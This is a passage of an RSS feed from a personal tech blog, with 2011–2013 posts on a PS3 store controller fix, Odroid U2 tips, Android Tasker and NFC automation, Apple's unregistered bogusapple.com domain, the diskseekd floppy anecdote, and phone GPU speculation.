&lt;p&gt;Aside: Why do patents cite archaic things? Every patent gives examples of some old stuff. E.g. Even though this patent was filed in 2011, it refers to Pentium 4 as an example of processors and Quake 3 Arena as an example of online games?&lt;/p&gt;</content></item><item><title>Fixing the DS3/Sixaxis Controller Not Working in PSN Store Issue</title><link>https://shantanugoel.com/2013/01/13/fixing-the-ds3sixaxis-controller-not-working-in-psn-store-issue/</link><pubDate>Sun, 13 Jan 2013 19:55:44 +0000</pubDate><guid>https://shantanugoel.com/2013/01/13/fixing-the-ds3sixaxis-controller-not-working-in-psn-store-issue/</guid><description>&lt;p&gt;So, my wife got me a new slim PS3 today to replace my old YLOD&amp;rsquo;ed phat (Yes, Awesome wife I know. And slim PS3 cuz I hate the looks of the new superslim). But, I digress. The issue at hand is that everything worked fine when I unwrapped it, hooked it up to the power and TV and switched it on. However, once I started the PSN store (or what is now called Sony Entertainment Network Store), nothing worked. I got the main screen/content of the store displayed but I couldn&amp;rsquo;t move around in the store. None of the buttons on the DS3 worked. I hooked up my older sixaxis and still the same. The only thing I could do was to hit the PS button which would bring up a menu from where I could quit the store app and then again everything worked fine once I was out onto XMB or in any game or for any other feature not related to the store.&lt;/p&gt;</description><content>&lt;p&gt;So, my wife got me a new slim PS3 today to replace my old YLOD&amp;rsquo;ed phat (Yes, Awesome wife I know. And slim PS3 cuz I hate the looks of the new superslim). But, I digress. The issue at hand is that everything worked fine when I unwrapped it, hooked it up to the power and TV and switched it on. However, once I started the PSN store (or what is now called Sony Entertainment Network Store), nothing worked. I got the main screen/content of the store displayed but I couldn&amp;rsquo;t move around in the store. None of the buttons on the DS3 worked. I hooked up my older sixaxis and still the same. The only thing I could do was to hit the PS button which would bring up a menu from where I could quit the store app and then again everything worked fine once I was out onto XMB or in any game or for any other feature not related to the store.&lt;/p&gt;
&lt;p&gt;Using different controllers made sure that it was not a controller issue. I suspected that it could be a bad coding issue on Sony&amp;rsquo;s part where the store is trying to communicate over some ports and the thread blocks on not being able to (since I had the router firewall on and UPnP disabled) making it look like the controller isn&amp;rsquo;t working. So, I turned on UPnP and rebooted the router but still the same issue.&lt;/p&gt;
&lt;p&gt;But, ultimately I hit upon the solution by mistake. I kept a button pressed on the controller while the PSN store was starting up and there it was. I could now move around and use the store without any issues. So, that&amp;rsquo;s the solution folks. Just keep a button pressed before starting the store app and keep it pressed till the main screen is fully loaded. I don&amp;rsquo;t know how or why this fixes the problem and I&amp;rsquo;m going to drop a mail to the Sony customer care after writing this blog post. I hope they fix this in the next update.&lt;/p&gt;</content></item><item><title>Odroid U2 Tips: Overscan, emmc Adapter, HDMI-DVI Adapter</title><link>https://shantanugoel.com/2013/01/12/odroid-u2-tips-overscan-emmc-adapter-hdmi-dvi-adapter/</link><pubDate>Sat, 12 Jan 2013 17:56:52 +0000</pubDate><guid>https://shantanugoel.com/2013/01/12/odroid-u2-tips-overscan-emmc-adapter-hdmi-dvi-adapter/</guid><description>&lt;p&gt;So I&amp;rsquo;ve been spending a few hours on getting my odroid u2 up and running and here are a few tips that I&amp;rsquo;ve come across in the process.&lt;/p&gt;
&lt;p&gt;**Overscan: **&lt;/p&gt;
&lt;p&gt;So, many TVs have this issue that they miss out on displaying the corners of the image put out by the Odroid U2. The phenomenon is called overscan. Now, all you have to do is select settings such as &amp;ldquo;Just Scan&amp;rdquo; or similar on your TV that allows your TV to display image coming from U2 as is. This setting is called &amp;ldquo;Screen Fit&amp;rdquo; on Samsung TVs but I found something weird. My TV already had this setting set for the picture mode, but still I had the overscan issue. What I had to do was to switch to another mode and then back to Screen Fit and it started working fine.&lt;/p&gt;</description><content>&lt;p&gt;So I&amp;rsquo;ve been spending a few hours on getting my odroid u2 up and running and here are a few tips that I&amp;rsquo;ve come across in the process.&lt;/p&gt;
&lt;p&gt;**Overscan: **&lt;/p&gt;
&lt;p&gt;So, many TVs have this issue that they miss out on displaying the corners of the image put out by the Odroid U2. The phenomenon is called overscan. Now, all you have to do is select settings such as &amp;ldquo;Just Scan&amp;rdquo; or similar on your TV that allows your TV to display image coming from U2 as is. This setting is called &amp;ldquo;Screen Fit&amp;rdquo; on Samsung TVs but I found something weird. My TV already had this setting set for the picture mode, but still I had the overscan issue. What I had to do was to switch to another mode and then back to Screen Fit and it started working fine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;emmc Adapter:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The emmc adapter that hardkernel/odroid folks send out with the board to use with a microsd card reader doesn&amp;rsquo;t seem to work. However, the issue is that it is slightly bigger than a regular microsd and hence doesn&amp;rsquo;t fit properly inside the reader. All I had to do was to file the top edges a bit and then it worked fine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HDMI-DVI Adapter:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Currently I&amp;rsquo;ve attached it to my old Samsung B2030 monitor. A tip btw for B2030 owners (or anyone else having a monitor with only DVI input and not HDMI). Despite many folks (including hardkernel/odroid guys) saying that HDMI to DVI adapters are not supported and won&amp;rsquo;t work, they do work but the thing is that the monitor should be turned on before turning on the U2 otherwise U2 doesn&amp;rsquo;t output anything over the HDMI and the monitor won&amp;rsquo;t display anything.&lt;/p&gt;</content></item><item><title>Odroid U2 is here</title><link>https://shantanugoel.com/2013/01/12/odroid-u2-is-here/</link><pubDate>Sat, 12 Jan 2013 17:46:57 +0000</pubDate><guid>https://shantanugoel.com/2013/01/12/odroid-u2-is-here/</guid><description>&lt;p&gt;So, this little baby landed up in my mailbox a couple of days ago :). The Odroid U2. For those who don&amp;rsquo;t know, it&amp;rsquo;s a cheap dev board based around Samsung&amp;rsquo;s Exynos 4412 SoC and supports Android as well as Ubuntu.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2013/01/2013-01-09-19.05.35-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;I&amp;rsquo;ve got quite a few things planned on how to use it and will post more about my adventures with the U2 here soon.&lt;/p&gt;</description><content>&lt;p&gt;So, this little baby landed up in my mailbox a couple of days ago :). The Odroid U2. For those who don&amp;rsquo;t know, it&amp;rsquo;s a cheap dev board based around Samsung&amp;rsquo;s Exynos 4412 SoC and supports Android as well as Ubuntu.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2013/01/2013-01-09-19.05.35-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;I&amp;rsquo;ve got quite a few things planned on how to use it and will post more about my adventures with the U2 here soon.&lt;/p&gt;</content></item><item><title>Third Party Widgets on Android 4.2 Lock Screen</title><link>https://shantanugoel.com/2012/11/14/third-party-widgets-on-android-4-2-lock-screen/</link><pubDate>Wed, 14 Nov 2012 14:46:36 +0000</pubDate><guid>https://shantanugoel.com/2012/11/14/third-party-widgets-on-android-4-2-lock-screen/</guid><description>&lt;p&gt;One of the features I was really looking forward to with Android 4.2 was lock screen widgets but when I got the update on my Galaxy Nexus that it only had 5 pre-defined stock widgets that could be added to the lock screen.&lt;/p&gt;
&lt;p&gt;I headed over to the Android developers site some time later and was pleasantly surprised to see that actually 3rd party widgets can indeed be added to the lock screen. They just need a small change for this. They need to add &amp;ldquo;android:widgetCategory=&amp;ldquo;keyguard|home_screen&amp;rdquo;&amp;rdquo; parameter to your xml where the appwidget provider element is defined. Simple enough :)&lt;/p&gt;</description><content>&lt;p&gt;One of the features I was really looking forward to with Android 4.2 was lock screen widgets but when I got the update on my Galaxy Nexus that it only had 5 pre-defined stock widgets that could be added to the lock screen.&lt;/p&gt;
&lt;p&gt;I headed over to the Android developers site some time later and was pleasantly surprised to see that actually 3rd party widgets can indeed be added to the lock screen. They just need a small change for this. They need to add &amp;ldquo;android:widgetCategory=&amp;ldquo;keyguard|home_screen&amp;rdquo;&amp;rdquo; parameter to your xml where the appwidget provider element is defined. Simple enough :)&lt;/p&gt;
&lt;p&gt;If you are the one who doesn&amp;rsquo;t like to wait, you could even change your favorite app&amp;rsquo;s manifest to allow the widget to be added. There are a few more details if you&amp;rsquo;d like to get into the nitty gritty which can be read from over here: &lt;a href="http://developer.android.com/guide/topics/appwidgets/index.html"&gt;http://developer.android.com/guide/topics/appwidgets/index.html&lt;/a&gt;&lt;/p&gt;</content></item><item><title>My Tasker Night Mode Profile For Android</title><link>https://shantanugoel.com/2012/10/17/my-tasker-night-mode-profile-for-android/</link><pubDate>Wed, 17 Oct 2012 09:03:08 +0000</pubDate><guid>https://shantanugoel.com/2012/10/17/my-tasker-night-mode-profile-for-android/</guid><description>&lt;p&gt;If there are two things that irritate me the most when I go to sleep, they are: Sync notifications going off and battery drained off in the morning (worst case being drained off before alarm time, making me late for work). I used to have a simple profile that turned off auto sync between 11 PM to 7 AM but it didn&amp;rsquo;t always work well because I work past 11 quite a lot and don&amp;rsquo;t usually have a fixed sleep time. Similarly I get up at different times. Sometimes I&amp;rsquo;m not even home and still the profile runs, making me lose sync.&lt;/p&gt;</description><content>&lt;p&gt;If there are two things that irritate me the most when I go to sleep, they are: Sync notifications going off and battery drained off in the morning (worst case being drained off before alarm time, making me late for work). I used to have a simple profile that turned off auto sync between 11 PM to 7 AM but it didn&amp;rsquo;t always work well because I work past 11 quite a lot and don&amp;rsquo;t usually have a fixed sleep time. Similarly I get up at different times. Sometimes I&amp;rsquo;m not even home and still the profile runs, making me lose sync.&lt;/p&gt;
&lt;p&gt;(For the impatient, if you want to use it, I&amp;rsquo;ve uploaded my profiles to &lt;a href="https://github.com/shantanugoel/tasker"&gt;my github account&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;So, I set up and quick and simple but much better working night mode profile. It consists 3 different profiles actually as listed below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Night Mode -&amp;gt; This actually turns on the night mode based on a host of different combinations listed later in the post.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Alarm Detection -&amp;gt; Detects when the alarm goes off&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unlock Detection -&amp;gt; Detects when the phone display is unlocked.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Home Detection -&amp;gt; Detects if I&amp;rsquo;m at home&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The basic premise behind this night mode setup is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The phone should detect that I&amp;rsquo;m sleeping by taking a combination of following scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The location should be at home (Done by home detection profile using &amp;ldquo;Cell Near&amp;rdquo;. I use this mostly because it is more accurate than network location and works indoors as well which GPS doesn&amp;rsquo;t do and is very light on battery as well)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Time should be between 11 PM to 7 AM (my likely sleep time)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Display should not have been unlocked in the last 30 minutes (i.e. make sure I&amp;rsquo;m not actively using the phone)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It&amp;rsquo;s dark in the room (Make sure that lights are turned off. Need to turn on ambient light sensor to work with screen off in tasker settings for this)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once all the above conditions are established, my phone is fairly certain by now that I&amp;rsquo;m indeed sleeping :) and turns off auto sync&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The night mode still has to check whether the conditions still exist after every half hour or so (e.g. I might not be sleeping yet but lights turned off to allow my wife to sleep and I didn&amp;rsquo;t fiddle with the phone for some time)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If I unlock the phone any time at night, it should tell my phone immediately that I&amp;rsquo;m not sleeping and it deactivates the night mode (for the next 30 minutes or so when night mode check kicks in again)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When the alarm goes off, night mode should be stopped since I&amp;rsquo;m obviously awake now&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are quite a few other checks and balances incorporated to make sure all these 4 profiles don&amp;rsquo;t go out of sync and also do as less as possible to preserve battery.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tested this setup for past few weeks and it works pretty well. If you want to use it, I&amp;rsquo;ve uploaded my profiles to &lt;a href="https://github.com/shantanugoel/tasker"&gt;my github account&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Improvements/Changes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Exchange sync still bypasses the auto sync turn off settings. So need to either buy &amp;ldquo;Synker&amp;rdquo; to control exchange sync directly or figure out a way to connect droidwall to tasker to cut the internet connection for exchange app.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The home mode xml in the account does not have anything in cell tower locations ;), so you need to open it in tasker and scan for your own cell towers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I just turn off auto sync for me in night mode (want to receive sounds for other notifications, texts etc), you can edit the profile to suit your other needs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can change the timings as well as per your needs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I have some prints done to a file in these profiles, mainly for debugging. You can remove those once you are certain the setup works well for you.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Let me know if you can think of any other ways to make this more robust. I&amp;rsquo;ll post the rest of my tasker profiles as well soon.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>BogusApple.com: Apple Screw Up Saved By Githubber</title><link>https://shantanugoel.com/2012/10/01/bogusapple-com-apple-screw-up-saved-by-githubber/</link><pubDate>Mon, 01 Oct 2012 22:16:18 +0000</pubDate><guid>https://shantanugoel.com/2012/10/01/bogusapple-com-apple-screw-up-saved-by-githubber/</guid><description>&lt;p&gt;So, I just came across a thread on apple discussion forums and it &lt;a href="https://discussions.apple.com/thread/4380270?start=0&amp;amp;tstart=0"&gt;seems like&lt;/a&gt; that Apple has added a new feature in OS X Mountain Lion due to which it redirects a lot of web traffic to a domain called &amp;ldquo;bogusapple.com&amp;rdquo; to make sure that it is failing. Now, the problem is that Apple didn&amp;rsquo;t even register this domain. By design? To make sure that it fails? But if so, it was a very poor design decision because then anyone could have registered it and used it for benefit, like spreading malware or phishing attempts and what not.&lt;/p&gt;</description><content>&lt;p&gt;So, I just came across a thread on apple discussion forums and it &lt;a href="https://discussions.apple.com/thread/4380270?start=0&amp;amp;tstart=0"&gt;seems like&lt;/a&gt; that Apple has added a new feature in OS X Mountain Lion due to which it redirects a lot of web traffic to a domain called &amp;ldquo;bogusapple.com&amp;rdquo; to make sure that it is failing. Now, the problem is that Apple didn&amp;rsquo;t even register this domain. By design? To make sure that it fails? But if so, it was a very poor design decision because then anyone could have registered it and used it for benefit, like spreading malware or phishing attempts and what not.&lt;/p&gt;
&lt;p&gt;Anyways, the threat is averted for now because a good natured githubber, &lt;a href="https://github.com/blog/1099-jason-salaz-is-a-githubber"&gt;Jason Salaz&lt;/a&gt;, registered the domain name and plastered a pretty generic webpage over there which doesn&amp;rsquo;t do much (except give him a bit of web traffic boost).&lt;/p&gt;
&lt;p&gt;After the map fiasco and then this, it looks like Apple is indeed slipping up and things are falling through the cracks. Let&amp;rsquo;s see what Tim Cook has to say about this.&lt;/p&gt;</content></item><item><title>My Android NFC Car BT Audio Setup</title><link>https://shantanugoel.com/2012/09/30/my-android-nfc-car-bt-audio-setup/</link><pubDate>Sun, 30 Sep 2012 18:16:22 +0000</pubDate><guid>https://shantanugoel.com/2012/09/30/my-android-nfc-car-bt-audio-setup/</guid><description>&lt;p&gt;So, my Nexus One&amp;rsquo;s battery finally lost its last legs and I picked up a new Galaxy Nexus to replace it (easy choice, since it&amp;rsquo;s a nexus device and Google sells it for a bargain at their play store). Anyways, I drift. In the mood to try out the NFC capbilities of my newly acquired gadget I thought of doing something about my car audio setup (previously consisting of a stereo line connecting the aux port of the stereo to the headphone out of Nexus one using tasker to start music when connected).&lt;/p&gt;</description><content>&lt;p&gt;So, my Nexus One&amp;rsquo;s battery finally lost its last legs and I picked up a new Galaxy Nexus to replace it (easy choice, since it&amp;rsquo;s a nexus device and Google sells it for a bargain at their play store). Anyways, I drift. In the mood to try out the NFC capbilities of my newly acquired gadget I thought of doing something about my car audio setup (previously consisting of a stereo line connecting the aux port of the stereo to the headphone out of Nexus one using tasker to start music when connected).&lt;/p&gt;
&lt;p&gt;Before I go into how I went about it, here is what it does now. When I keep the phone into my car&amp;rsquo;s phone holder, it automatically starts streaming music over BT from my car stereo and then when I keep it in my pocket, it stops.&lt;/p&gt;
&lt;p&gt;Ingredients I used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;1 Galaxy Nexus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2 NFC tags (bought from tagstand guys. Makers of the awesome NFC Tasker Launcher app)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;1 male to male stereo cable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;1 Samsung HS3000 BT headset (since my car stereo doesn&amp;rsquo;t have BT. This little headset is awesome because it is cheap (25$ or so at amazon), has a stereo port where you can connect any headset or stereo cable, implements apt-x protocol for high fidelity audio streaming)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Android App: NFC Task Launcher&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Android App: Tasker (NFC task launcher is enough for basic things but my task is a bit more involved)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Android App: Secure Settings plugin for Tasker/Locale&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, what I did is this:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hardware&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Pasted one NFC tag to my car phone holder and kept another one in my wallet.&lt;/p&gt;
&lt;p&gt;Connected the HS3000 headset to the car stereo through aux-in and to power through a car charger (it uses a standard micro usb port to charge).&lt;/p&gt;
&lt;p&gt;Stuck the HS3000 near my dashboard. I could have hidden it in dashboard or somewhere but I also wanted to use it to take calls when they come in so I can use its mic for speaking and incoming audio sounds through the car speakers. You can also disconnect the internal battery by popping up the casing so that it turns on and off with the car but it isn&amp;rsquo;t necessary as it anyways turns off if there is no device connected for a while.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Software&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Created two tasks in Tasker. First as &amp;ldquo;Car Mode Enter&amp;rdquo; and second as &amp;ldquo;Car Mode Exit&amp;rdquo;. The car mode enter task basically does this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If car mode is not already running (based on a variable)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Turn on Bluetooth (This also auto connects)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crank up the Media Volume&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If Battery level is above 40%&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keep the screen always on (using Secure Settings)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Else keep the screen on if power is connected (through car charger)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crank up the brightness if it is day time (so that I can see the screen) and store the old value for restoring later.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If navigation is not on (through another variable set through another profile which monitors if a navigation or maps app is in foreground)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Load the Music app&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start playing music&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Turn on the Read SMS profile cuz I&amp;rsquo;m a safe driver :) (Another profile in tasker which reads the incoming SMS&amp;rsquo; sender&amp;rsquo;s name and asks if it should read the text (don&amp;rsquo;t want any embarrassing ones read out while others are there in my car ;)) and then proceeds to read the text if I speak &amp;ldquo;Yes&amp;rdquo;. For anything else or no input, it doesn&amp;rsquo;t read the text)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The car mode exit task undoes everything done in the car mode enter task and restores everything to how it was before entering the car mode.&lt;/p&gt;
&lt;p&gt;Also created two tasks in NFC task launcher which just launch the car mode enter and exit tasks when tapped against 1 of the tags and wrote this task to the tags.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;All together now:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So, we are done now. Now when I enter my car, I place the phone on the holder and nice music starts playing. When I get out, I tap it against my pocket (with the wallet) and everything is back at normal.&lt;/p&gt;
&lt;p&gt;Let me know if you need any more information about the above setup or the tasker profile xml files. I use tasker for automating a whole other bunch of things as well. Will try to post that stuff soon along with any other NFC tricks I try out.&lt;/p&gt;</content></item><item><title>Bugs: What you see is not always what it is</title><link>https://shantanugoel.com/2012/07/23/bugs-what-you-see-is-not-always-what-it-is/</link><pubDate>Mon, 23 Jul 2012 04:46:08 +0000</pubDate><guid>https://shantanugoel.com/2012/07/23/bugs-what-you-see-is-not-always-what-it-is/</guid><description>&lt;p&gt;Came across a neat nugget of historical information today that &lt;a href="http://www.ibiblio.org/harris/500milemail.html"&gt;yet again&lt;/a&gt; proves that the software/hardware bug behavior that you may see on the surface might imply something totally opposite to what the problem actually is.&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;bug&amp;rdquo; existed back in the old times of the floppy drives. These drives seemed to fail very quickly on linux systems compared to MS DOS/Windows. Now, a normal observer would say linux had bad handling of the drives or was doing something messy that made these drives crap out ever so often. But as it turned out, the issue was the complete opposite. The real reason behind this problem was that linux was rock solid and stable compared to MS Dos.&lt;/p&gt;</description><content>&lt;p&gt;Came across a neat nugget of historical information today that &lt;a href="http://www.ibiblio.org/harris/500milemail.html"&gt;yet again&lt;/a&gt; proves that the software/hardware bug behavior that you may see on the surface might imply something totally opposite to what the problem actually is.&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;bug&amp;rdquo; existed back in the old times of the floppy drives. These drives seemed to fail very quickly on linux systems compared to MS DOS/Windows. Now, a normal observer would say linux had bad handling of the drives or was doing something messy that made these drives crap out ever so often. But as it turned out, the issue was the complete opposite. The real reason behind this problem was that linux was rock solid and stable compared to MS Dos.&lt;/p&gt;
&lt;p&gt;Woah!! Hold on a minute, you say. How can being stable lead to hardware failure? Well, since DOS used to crash (or had to be rebooted) so often, it used to do a check on the floppy at boot up which used to shake up any dust on the drive. Since no such frequent reboots were required in linux, it caused a dust build up on the drive ultimately leading to it&amp;rsquo;s premature demise :(. Solution: A special program &amp;ldquo;diskseekd&amp;rdquo; whose sole purpose was to check the disk periodically to shake the dust out of the system and keep it happily working. Learned something nice today, isn&amp;rsquo;t it? :) Below is an excerpt frm the man page of diskseekd&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Several people have noticed that Linux has a bad tendency of killing floppy drives. These failures remained completely mysterious, until somebody noticed that they were due to huge layers of dust accumulating in the floppy drives. This cannot happen under Messy Dos, because this excuse for an operating system is so unstable that it crashes roughly every 20 minutes (actually less if you are running Windows). When rebooting, the BIOS seeks the drive, and by doing this, it shakes the dust out of the drive mechanism. diskseekd simulates this effect by seeking the drive periodically. If it is called as diskseek, the drive is seeked only once.&lt;/p&gt;
&lt;/blockquote&gt;</content></item><item><title>SGX 543MP2 vs Mali-400: Is iPhone 4S GPU Really Twice As Strong As SGS 2?</title><link>https://shantanugoel.com/2011/10/05/sgx-543mp2-vs-mali-400-is-iphone-4s-gpu-really-twice-as-strong-as-sgs-2/</link><pubDate>Wed, 05 Oct 2011 20:23:23 +0000</pubDate><guid>https://shantanugoel.com/2011/10/05/sgx-543mp2-vs-mali-400-is-iphone-4s-gpu-really-twice-as-strong-as-sgs-2/</guid><description>&lt;p&gt;Ever since Apple announced the iPhone 4S having &amp;ldquo;A5&amp;rdquo; processor, everyone has been pointing to the below image from a test run by Anandtech and saying that the iPhone 4S will be twice as strong as the Samsung Galaxy S2. I beg to differ.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2011/10/anandtech-gpu-comparison-sgx543mp2-mali400-300x238.png" /&gt;
&lt;/figure&gt;
&lt;p&gt;While the above test doesn&amp;rsquo;t have any discrepancy, one major thing is that the SGX 543MP2 results are from an iPad 2 (a tablet) while the Mali 400 results are from a smartphone. Thus, we can&amp;rsquo;t readily take this to directly and accurately predict the comparison results for iPhone 4S because there are other things to consider:&lt;/p&gt;</description><content>&lt;p&gt;Ever since Apple announced the iPhone 4S having &amp;ldquo;A5&amp;rdquo; processor, everyone has been pointing to the below image from a test run by Anandtech and saying that the iPhone 4S will be twice as strong as the Samsung Galaxy S2. I beg to differ.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2011/10/anandtech-gpu-comparison-sgx543mp2-mali400-300x238.png" /&gt;
&lt;/figure&gt;
&lt;p&gt;While the above test doesn&amp;rsquo;t have any discrepancy, one major thing is that the SGX 543MP2 results are from an iPad 2 (a tablet) while the Mali 400 results are from a smartphone. Thus, we can&amp;rsquo;t readily take this to directly and accurately predict the comparison results for iPhone 4S because there are other things to consider:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Mali-400 lags behing SGX543MP2 in &amp;ldquo;offscreen&amp;rdquo; tests which are done for resolutions greater than native SGS2 resolution (SGS 2 resolution is 800x480 while test is done at 720p) and brute triangle pushing. Samsung didn&amp;rsquo;t have to optimize their GPU implementation for this because SGS2 was never going to run a game at 720p resolution and would also need to push lesser triangles for similar detail. Hence they could easily make this trade-off to get lesser power consumption and heat generation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mali-400 goes hand in hand with SGX543MP2 in all other tests as seen on glbenchmark.com&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It is naive to think that the same SGX543MP2 implementation as iPad 2 will be present in iPhone 4S. Even if iPhone 4S is slated to have &amp;ldquo;A5&amp;rdquo;, a lot depends on the actual clock speeds (CPU and GPU), graphics memory, etc. Apple will do similar trade offs like Samsung (and Apple has already done this with A4 in iPad 1 vs iPhone 4) and the real results would be available only then.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, the end result is that we will have the real comparison only when iPhone 4S is out.&lt;/p&gt;
&lt;p&gt;PS: Not that the results matter anyways :P since firstly, the comparisons should now be moving to upcoming Nexus Prime and not SGS2 and secondly, the raw power of these GPUs won&amp;rsquo;t determine much since they cater to two completely different OSs and would have a lot of software and ecosystem dependencies on the user-perceived outcome.&lt;/p&gt;</content></item><item><title>Deconstructing The Samsung Nexus Prime Video</title><link>https://shantanugoel.com/2011/10/05/deconstructing-the-samsung-nexus-prime-video/</link><pubDate>Wed, 05 Oct 2011 05:59:28 +0000</pubDate><guid>https://shantanugoel.com/2011/10/05/deconstructing-the-samsung-nexus-prime-video/</guid><description>&lt;p&gt;Samsung just uploaded a &lt;a href="http://www.youtube.com/watch?v=oM9RO-GAKjE"&gt;teaser video&lt;/a&gt; to Youtube which hints at the upcoming Android phone &lt;strong&gt;Nexus Prime&lt;/strong&gt; with IceCream Sandwich. It has a sideways glance at what people believe is the Nexus Prime. I&amp;rsquo;ll deconstruct the image a bit.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2011/10/samsung-nexus-prime-leak-1-300x158.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2011/10/samsung-nexus-prime-leak-2-300x158.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;The things to take away from here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The phone will have a curved display like Nexus S&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It has a power button on the side (right side, since it&amp;rsquo;s marked with the power icon)&lt;/p&gt;</description><content>&lt;p&gt;Samsung just uploaded a &lt;a href="http://www.youtube.com/watch?v=oM9RO-GAKjE"&gt;teaser video&lt;/a&gt; to Youtube which hints at the upcoming Android phone &lt;strong&gt;Nexus Prime&lt;/strong&gt; with IceCream Sandwich. It has a sideways glance at what people believe is the Nexus Prime. I&amp;rsquo;ll deconstruct the image a bit.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2011/10/samsung-nexus-prime-leak-1-300x158.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2011/10/samsung-nexus-prime-leak-2-300x158.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;The things to take away from here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The phone will have a curved display like Nexus S&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It has a power button on the side (right side, since it&amp;rsquo;s marked with the power icon)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
